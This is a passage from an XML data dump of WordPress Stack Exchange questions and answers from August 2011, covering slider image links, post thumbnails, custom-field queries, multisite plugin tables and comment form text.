'https://apis.google.com/js/plusone.js', array(), null);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-09T00:37:41.213" />
  <row Id="25362" PostTypeId="1" AcceptedAnswerId="25369" CreationDate="2011-08-09T00:46:42.450" Score="0" ViewCount="39" Body="&lt;p&gt;My site is using WooThemes &lt;a href=&quot;http://www.woothemes.com/2011/06/statua/&quot; rel=&quot;nofollow&quot;&gt;Statua theme&lt;/a&gt;. I'm trying to get my resized slider images to link to their respective full size images (or attachment pages). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked a similar question on the WooThemes &lt;a href=&quot;http://forum.woothemes.com/topic.php?id=49784&quot; rel=&quot;nofollow&quot;&gt;support&lt;/a&gt; &lt;a href=&quot;http://forum.woothemes.com/topic.php?id=49812&quot; rel=&quot;nofollow&quot;&gt;forums&lt;/a&gt; (members login required) and the code they provided links the images to the resized 960px Large image size instead of the Full size images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://bit.ly/o9rkAC&quot; rel=&quot;nofollow&quot;&gt;an example page&lt;/a&gt; on my site, using the single.php template, and its &lt;a href=&quot;http://pastebin.com/U0q1RPTe&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the slider images to link to the full size originals or attachment pages?&lt;/p&gt;&#xA;" OwnerUserId="3711" LastEditorUserId="3711" LastEditorDisplayName="" LastEditDate="2011-08-09T01:44:56.253" LastActivityDate="2011-08-09T01:44:56.253" Title="Link to full size image or attachment page in photo theme" Tags="&lt;images&gt;&lt;attachments&gt;&lt;media&gt;" AnswerCount="2" />
  <row Id="25363" PostTypeId="1" AcceptedAnswerId="25375" CreationDate="2011-08-09T00:47:36.790" Score="0" ViewCount="31" Body="&lt;p&gt;I am using the latest version of Wordpress with Twenty Ten Theme. I need to add thumbnails to each of my post. I will be thankful for a step by step help in this regard.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2011-08-09T03:25:23.513" Title="How to add thumbnails to posts in wordpress?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="25364" PostTypeId="2" ParentId="25333" CreationDate="2011-08-09T00:54:15.330" Score="0" ViewCount="" Body="&lt;p&gt;Disallow with no trailing slash is the same as &quot;allow all&quot; - &lt;a href=&quot;http://www.webconfs.com/what-is-robots-txt-article-12.php&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt; -  nice find!&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2011-08-09T00:54:15.330" />
  <row Id="25366" PostTypeId="1" CreationDate="2011-08-09T01:23:06.967" Score="-2" ViewCount="18" Body="&lt;p&gt;I figured out with my jquery slider. Need to help (:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('showposts=10&amp;amp;orderby=post_date&amp;amp;order=desc'); while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;?php $imaj = get_post_meta($post-&amp;gt;ID, 'manset', true); ?&amp;gt;&#xA;&#xA;&amp;lt;?php the_permalink()?&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $imaj; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile;?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this query, &lt;strong&gt;the query&lt;/strong&gt; print all posts. But i would like to display just if the post has &quot;manset&quot; custom field in it. how can i do that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;( sorry about my bad english )&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-08-09T02:03:36.637" Title="query with custom field" Tags="&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="25367" PostTypeId="2" ParentId="25358" CreationDate="2011-08-09T01:25:29.117" Score="0" ViewCount="" Body="&lt;p&gt;Or you just rename it so it is 'not' the same plugin.&lt;br&gt;&#xA;You need to rename not just the folder but also in the readme and plugin header.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-09T01:25:29.117" />
  <row Id="25368" PostTypeId="2" ParentId="25363" CreationDate="2011-08-09T01:30:03.413" Score="1" ViewCount="" Body="&lt;p&gt;Just check &lt;a href=&quot;http://nenuno.co.uk/creative/wordpress/adding-post-thumbnails-to-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;. It explains everything clearly.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-09T01:30:03.413" CommentCount="1" />
  <row Id="25369" PostTypeId="2" ParentId="25362" CreationDate="2011-08-09T01:39:42.437" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$image = wp_get_attachment_image_src( get_post_thumbnail_id(  $post-&amp;gt;ID ), &quot;full&quot; );&#xA;&#xA;echo '&amp;lt;a href=&quot;' . $image[0] . '&quot;&amp;gt;Link to Full Size&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-08-09T01:39:42.437" CommentCount="7" />
  <row Id="25370" PostTypeId="2" ParentId="25362" CreationDate="2011-08-09T01:40:56.257" Score="0" ViewCount="" Body="&lt;p&gt;You have got a &lt;code&gt;$photo_size&lt;/code&gt; variable in your linked code. Change it according to sizes listed in the Codex (from &lt;code&gt;large&lt;/code&gt; to &lt;code&gt;full&lt;/code&gt;). Furthermore, you should point Woo at &lt;a href=&quot;http://www.google.de/search?q=timthumb+exploit&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla%3ade%3aofficial&amp;amp;client=firefox-a#pq=timthumb%20exploit&amp;amp;hl=de&amp;amp;sugexp=gsihc&amp;amp;cp=17&amp;amp;gs_id=y&amp;amp;xhr=t&amp;amp;q=timthumb+security&amp;amp;pf=p&amp;amp;sclient=psy&amp;amp;client=firefox-a&amp;amp;hs=oEc&amp;amp;rls=org.mozilla%3ade%3Aofficial&amp;amp;source=hp&amp;amp;pbx=1&amp;amp;oq=timthumb+security&amp;amp;aq=0L&amp;amp;aqi=g-L1&amp;amp;aql=f&amp;amp;gs_sm=&amp;amp;gs_upl=&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=d95124e4aea0a0bb&amp;amp;biw=1280&amp;amp;bih=841&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, as they are using timthumb in the theme.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-09T01:40:56.257" CommentCount="6" />
  <row Id="25371" PostTypeId="2" ParentId="25366" CreationDate="2011-08-09T02:03:36.637" Score="0" ViewCount="" Body="&lt;p&gt;A quick google search would have directed you to this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-09T02:03:36.637" CommentCount="1" />
  <row Id="25372" PostTypeId="1" CreationDate="2011-08-09T03:02:14.067" Score="0" ViewCount="26" Body="&lt;p&gt;I use the Twenty Ten theme, customized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme text is: Your email address will not be published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the email box below, this gives readers the impression that they must enter an email address, yet I set my settings so one is not required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to edit the text to read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not have to leave an email address in order to reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?  If so, how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7745" LastActivityDate="2011-08-09T03:20:19.710" Title="How to edit the text below &quot;Leave a Reply&quot;" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="25373" PostTypeId="1" AcceptedAnswerId="25377" CreationDate="2011-08-09T03:12:12.937" Score="0" ViewCount="37" Body="&lt;p&gt;I'm trying to achieve like this. See the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2jjhC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good free or premium plugin available to add this feature?&#xA;I know there are some plugins out there like janrain,gigya. But those plugins have limits in free version. Their fee also high. So i don't like their plugin. Any other good plugin available?&#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-09T03:29:38.323" Title="Is there any wordpress plugin available to auto share comments?" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="25374" PostTypeId="2" ParentId="25372" CreationDate="2011-08-09T03:20:19.710" Score="0" ViewCount="" Body="&lt;p&gt;At the bottom of comments.php, replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(array('comment_notes_before' =&amp;gt; 'You do not have to leave an email address in order to reply.')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-09T03:20:19.710" CommentCount="2" />
  <row Id="25375" PostTypeId="2" ParentId="25363" CreationDate="2011-08-09T03:25:23.513" Score="1" ViewCount="" Body="&lt;p&gt;FWIW, as a workaround, &lt;a href=&quot;http://theme.wordpress.com/themes/twentyeleven/&quot; rel=&quot;nofollow&quot;&gt;Twenty Eleven&lt;/a&gt; has this built in.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-09T03:25:23.513" CommentCount="2" />
  <row Id="25377" PostTypeId="2" ParentId="25373" CreationDate="2011-08-09T03:29:38.323" Score="0" ViewCount="" Body="&lt;p&gt;Try the JetPack Plugin from WordPress.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jetpack/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/jetpack/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-09T03:29:38.323" CommentCount="3" />
  <row Id="25378" PostTypeId="2" ParentId="12532" CreationDate="2011-08-09T04:46:41.877" Score="0" ViewCount="" Body="&lt;p&gt;Open Graph is the way to go! Put the open graph meta tags, and then use Facebook Linter to check if all your data comes through right.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-09T04:46:41.877" />
  <row Id="25379" PostTypeId="2" ParentId="25327" CreationDate="2011-08-09T05:22:45.607" Score="2" ViewCount="" Body="&lt;p&gt;Your not going to get an answer to this, there is no magic wand you can use to change what your asking without working it out yourself, or at the very least supplying some actual code with your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the CSS in a back-end option page you can use the Options API, &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Options_API&lt;/a&gt;, or write a custom CSS file and include it in your header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Mark already mentioned there is a color picker that comes with WordPress that you can use to fill in your custom field options with color values.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-09T05:22:45.607" />
  <row Id="25381" PostTypeId="1" AcceptedAnswerId="25440" CreationDate="2011-08-09T06:14:33.810" Score="0" ViewCount="47" Body="&lt;p&gt;I have a post with a custom meta value which is populated via a jQuery datepicker and it gets stored in the following format: yyyy/mm/dd - is there a way I can group all posts from the same day together easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using Wordpress's publish date, as I need to have future posts published. I know using the function 'the_date()' will by default in Wordpress only show the date once per x amount of posts, giving the appearance they're grouped. Is there anything that does something similar with a custom meta date value?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-08-09T17:00:50.670" Title="Group Posts By Custom Meta Value: Date" Tags="&lt;custom-field&gt;&lt;post-meta&gt;&lt;date&gt;" AnswerCount="1" />
  <row Id="25382" PostTypeId="1" CreationDate="2011-08-09T06:15:10.847" Score="1" ViewCount="45" Body="&lt;p&gt;I want my plugin to be installed on each blog and create database tables per blog. I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook( __FILE__, 'install1' );&#xA;function install1() {&#xA;    global $wpdb;&#xA;&#xA;    if (function_exists('is_multisite') &amp;amp;&amp;amp; is_multisite()) {&#xA;        // check if it is a network activation - if so, run the activation function for each blog id&#xA;        if (isset($_GET['networkwide']) &amp;amp;&amp;amp; ($_GET['networkwide'] == 1)) {&#xA;                    $old_blog = $wpdb-&amp;gt;blogid;&#xA;            // Get all blog ids&#xA;            $blogids = $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare(&quot;SELECT blog_id FROM $wpdb-&amp;gt;blogs&quot;));&#xA;            foreach ($blogids as $blog_id) {&#xA;                switch_to_blog($blog_id);&#xA;                _install2();&#xA;            }&#xA;            switch_to_blog($old_blog);&#xA;            return;&#xA;        }   &#xA;    } &#xA;    _install2();        &#xA;}&#xA;&#xA;function _install2()&#xA;{&#xA;    require_once WP_PLUGIN_DIR . '/pluginfolder/functions/database.php';&#xA;    require_once WP_PLUGIN_DIR . '/pluginfolder/functions/general.php';&#xA;    $db_error = false;&#xA;&#xA;    $sql_file = WP_PLUGIN_DIR . '/pluginfolder/ossq.sql';&#xA;    os_db_connect(DB_HOST, DB_USER, DB_PASSWORD);&#xA;    os_set_time_limit(0);&#xA;    os_db_install(DB_NAME, $sql_file);&#xA;    if ($db_error != false) {&#xA;&#xA;        //  echo 'instalation successfull';&#xA;    } else {&#xA;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is inspired on this blog post [http://shibashake.com/wordpress-theme/write-a-plugin-for-wordpress-multi-site]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL File consist of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS address_book;&#xA;CREATE TABLE address_book (&#xA;   address_book_id int NOT NULL auto_increment,&#xA;   customers_id int NOT NULL,&#xA;   entry_gender char(1),&#xA;   entry_company varchar(255),&#xA;   entry_firstname varchar(255) NOT NULL,&#xA;   entry_lastname varchar(255) NOT NULL,&#xA;   entry_street_address varchar(255) NOT NULL,&#xA;   entry_suburb varchar(255),&#xA;   entry_postcode varchar(255) NOT NULL,&#xA;   entry_city varchar(255) NOT NULL,&#xA;   entry_state varchar(255),&#xA;   entry_country_id int DEFAULT '0' NOT NULL,&#xA;   entry_zone_id int DEFAULT '0' NOT NULL,&#xA;   PRIMARY KEY (address_book_id),&#xA;   KEY idx_address_book_customers_id (customers_id)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, Its not working, the plugin does create tables just like on a regular wordpress but not on each blog on the multisite environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="7749" LastActivityDate="2011-08-09T11:18:17.803" Title="Making my plugin multi-site compatible" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;multisite&gt;&lt;wordpress.org&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25383" PostTypeId="1" CreationDate="2011-08-09T06:19:28.313" Score="1" ViewCount="49" Body="&lt;p&gt;I been looking around for this, but couldn't find a way. &#xA;The scenario is:&#xA;I have a custom post type 'Company', and I'm creating Company type posts through my plugin's code. When I create a new Company post, I set the author as Admin. Now further down the code, I'm creating a custom role 'Representative' and assigning users to this role through my code again. What I want to do is, assign a Representative to a Company Post as an author. But I can't even see this user(Rep.) in the dropdown for switching authors. Is there any argument that I need to pass to wp_insert_user or register_post_type or add_role/add_cap for achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-09T15:52:05.700" Title="Assign a Custom Role to a Custom Post?" Tags="&lt;custom-post-types&gt;&lt;custom-roles&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" />
  <row Id="25385" PostTypeId="1" CreationDate="2011-08-09T06:38:47.947" Score="1" ViewCount="23" Body="&lt;p&gt;I am trying to create a fully customized multiuser site!&#xA;And i want users automatically login to their site after site creation...&#xA;Please help me..&#xA;Thank you...&lt;/p&gt;&#xA;" OwnerUserId="7752" LastActivityDate="2011-08-09T18:43:11.087" Title="How to autologin users after creating a new site (multisite)?" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25386" PostTypeId="1" CreationDate="2011-08-09T07:42:07.200" Score="0" ViewCount="52" Body="&lt;p&gt;This is what I want to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the media uploader, add a link &quot;Use this attachment ID as custom field&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Add the attachment ID in a custom fields meta box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've searched for hours for a plugin that does this but found nothing. Code examples, plugins, hints. Anything might be helpful.&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-08-09T08:10:37.190" Title="Insert attachment ID in custom field from media uploader" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;attachments&gt;&lt;media-upload&gt;" AnswerCount="2" />
  <row Id="25387" PostTypeId="1" CreationDate="2011-08-09T07:56:39.673" Score="0" ViewCount="13" Body="&lt;p&gt;I've developed a form for submitting content without being logged into the site.  The  form is working but, in order for the plugin that creates the map on the post to work, I need to combine 2 custom fields into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;_ct_text_4e40d58483b14&quot; name=&quot;_ct_text_4e40d58483b14&quot; value=&quot;&amp;lt;?php echo $_POST['_ct_text_4e3319808b191'] . $_POST['_ct_text_4e33216358869'];?&amp;gt;&quot;&amp;gt;&amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The values of the individual custom fields are populated but the concatenation is not working.  If anyone has an idea how I could/should be writing this code, it would be most helpful.&lt;/p&gt;&#xA;" OwnerUserId="7610" LastActivityDate="2011-08-09T07:56:39.673" Title="combine custom fields on submit" Tags="&lt;custom-field&gt;&lt;forms&gt;" CommentCount="1" />
  <row Id="25388" PostTypeId="2" ParentId="25386" CreationDate="2011-08-09T08:09:38.397" Score="1" ViewCount="" Body="&lt;p&gt;I found it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.acousticwebdesign.net/web-design/creating-custom-meta-boxes-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.acousticwebdesign.net/web-design/creating-custom-meta-boxes-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-08-09T08:09:38.397" />
  <row Id="25389" PostTypeId="2" ParentId="25386" CreationDate="2011-08-09T08:10:37.190" Score="2" ViewCount="" Body="&lt;p&gt;When you upload attachments to a post/page they become child elements of that post/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is provide a drop down in your custom field to list all uploaded files to the uploader for the current post/page. This is the code I used to show a list of files so the user could select which one was a floor plan image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;select name=&quot;chb_homes_for_sale_specifics_floor_plan&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot; &amp;lt;?php selected($custom[&quot;chb_homes_for_sale_specifics_floor_plan&quot;][0], &quot;&quot;); ?&amp;gt;&amp;gt;No Floor Plan&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php&#xA;        $args = array(&#xA;            'numberposts'     =&amp;gt; -1,&#xA;            'orderby'         =&amp;gt; 'menu_order',&#xA;            'order'           =&amp;gt; 'ASC',&#xA;            'post_type'       =&amp;gt; 'attachment',&#xA;            'post_parent'     =&amp;gt; $post-&amp;gt;ID,&#xA;            'post_mime_type' =&amp;gt; 'image'&#xA;        );&#xA;        $image = get_posts($args);&#xA;        if($image) {&#xA;            foreach($image as $key =&amp;gt; $data) : ?&amp;gt;&#xA;&#xA;                &amp;lt;option value=&quot;&amp;lt;?php echo $data-&amp;gt;ID; ?&amp;gt;&quot; &amp;lt;?php selected($custom[&quot;chb_homes_for_sale_specifics_floor_plan&quot;][0], $data-&amp;gt;ID); ?&amp;gt;&amp;gt;&amp;lt;?php echo basename ( get_attached_file( $data-&amp;gt;ID ) ); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;            &amp;lt;?php endforeach;&#xA;        }&#xA;        ?&amp;gt;&#xA;      &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-09T08:10:37.190" CommentCount="1" />
  <row Id="25390" PostTypeId="1" AcceptedAnswerId="25399" CreationDate="2011-08-09T08:33:51.067" Score="2" ViewCount="69" Body="&lt;p&gt;Are there any possible plugins that could clone an entire Wordpress site and install it in another location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build sites on one url, then to show the client and move it to another url to show it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment copying the files and database and re-uploading everything and changing urls is a bit of a nightmare!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I want them to run off two different databases.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-09T08:39:07.723" LastActivityDate="2011-08-09T17:01:41.353" Title="Plugins to clone wordpress site and move to another url" Tags="&lt;migration&gt;&lt;installation&gt;&lt;clone-site&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="25391" PostTypeId="2" ParentId="25355" CreationDate="2011-08-09T08:38:38.357" Score="1" ViewCount="" Body="&lt;p&gt;similar to the answer by GavinR, using the wordpress &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_editor_style()&lt;/code&gt;&lt;/a&gt; function; (as implemented in Twenty Ten and Twenty Eleven)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in functions.php of your theme, add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_editor_style();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then create an editor-style.css in your theme folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.mceContentBody.wp-editor {     &#xA;  background-color: #000;&#xA;  color: #fff; &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-09T08:38:38.357" />
  <row Id="25392" PostTypeId="1" AcceptedAnswerId="25949" CreationDate="2011-08-09T08:47:28.490" Score="0" ViewCount="26" Body="&lt;p&gt;I am following this page on designing options menus:  &lt;a href=&quot;http://codex.wordpress.org/Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Administration_Menus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the significance of the &lt;strong&gt;menu_slug&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because when I change this value, the options page changes to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do not have sufficient permissions to access this page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I change it back to what it was, it's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---EDIT---15/8/2011&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I was changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function highlighter_menu_() {&#xA;    add_options_page('Highlighter pen options', 'Highlighter Pen', 'manage_options', 'my-unique-identifier', 'highlighter_plugin_options');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and changed it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function highlighter_menu_() {&#xA;    add_options_page('Highlighter pen options', 'Highlighter Pen', 'manage_options', 'a-unique-identifier', 'highlighter_plugin_options');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="970" LastEditorUserId="970" LastEditorDisplayName="" LastEditDate="2011-08-15T12:08:31.450" LastActivityDate="2011-08-15T12:13:18.057" Title="Menu_slug used for creating options page" Tags="&lt;plugin-development&gt;&lt;admin-menu&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25393" PostTypeId="1" AcceptedAnswerId="25397" CreationDate="2011-08-09T09:01:54.980" Score="0" ViewCount="67" Body="&lt;p&gt;I created a category-list to show them in a way, my accordion can use. (Custom in the sidebar) I want to add a class named &quot;current&quot;  for the currently viewed post and the viewed category should be opened. Do you have any ideas to integrate this in the code? It was hard work to get this to work and now I dont know how to integrate it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;http://www.davidgoltz.de/2011/anna-bederke-actor/&quot; rel=&quot;nofollow&quot;&gt;http://www.davidgoltz.de/2011/anna-bederke-actor/&lt;/a&gt; (after you click &quot;Portfolio&quot;, the menu appears and should show the opened tree with a highlighted post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;category-list&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;topnav&quot;&amp;gt; &#xA;        &amp;lt;?php&#xA;        $kategorien = get_categories(array(&#xA;        'child_of' =&amp;gt; 0,&#xA;        'exclude_tree' =&amp;gt; 15,&#xA;        'exclude' =&amp;gt; 16,&#xA;        'orderby' =&amp;gt; 'slug',&#xA;        'order' =&amp;gt; 'ASC')); &#xA;            foreach($kategorien as $kategorie) { &#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;category-title&quot;&amp;gt;'; echo ($kategorie-&amp;gt;name); echo '&amp;lt;/a&amp;gt;';&#xA;                echo '&amp;lt;ul&amp;gt;';&#xA;                    $cat = $kategorie-&amp;gt;cat_ID;&#xA;                    $posts = get_posts('category='. $cat .'&amp;amp;posts_per_page=-1');&#xA;                        foreach($posts as $post) { ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                    &amp;lt;? }&#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;            } &#xA;        ?&amp;gt;                  &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2011-08-09T10:18:30.407" Title="Show category-ID in custom category-list" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="25394" PostTypeId="1" CreationDate="2011-08-09T09:13:53.777" Score="0" ViewCount="23" Body="&lt;p&gt;So, here's a site: &lt;a href=&quot;http://perreo.ru/&quot; rel=&quot;nofollow&quot;&gt;http://perreo.ru/&lt;/a&gt;&#xA;Our attention grabber today will be this tiny picture with hands holding kind of book or journal, doesn't matter. If you click it, it'll lead you to another page. &#xA;My question:&#xA;Is it possible to make this frame/image change on the page it leads to?&#xA;If you didn't understand what i mean, i'll explain.&#xA;On the main page we see one pic, and when we go to the other specific page i want this image to change to another one. &#xA;So, is there any possibility to do so? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance ;) Have a nice day!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and yeah, this is the code snippet calling image to this sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($traction-&amp;gt;sideboxCustom() == 'true' ) : ?&amp;gt;&#xA;                &amp;lt;?php echo $traction-&amp;gt;sideboxCode(); ?&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;a href=&quot;/chitalniy_zal&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo( 'template_url' ); ?&amp;gt;/images/sidebar/sidebox.jpg&quot; width=&quot;250&quot; height=&quot;329&quot; alt=&quot;blah blah&quot; 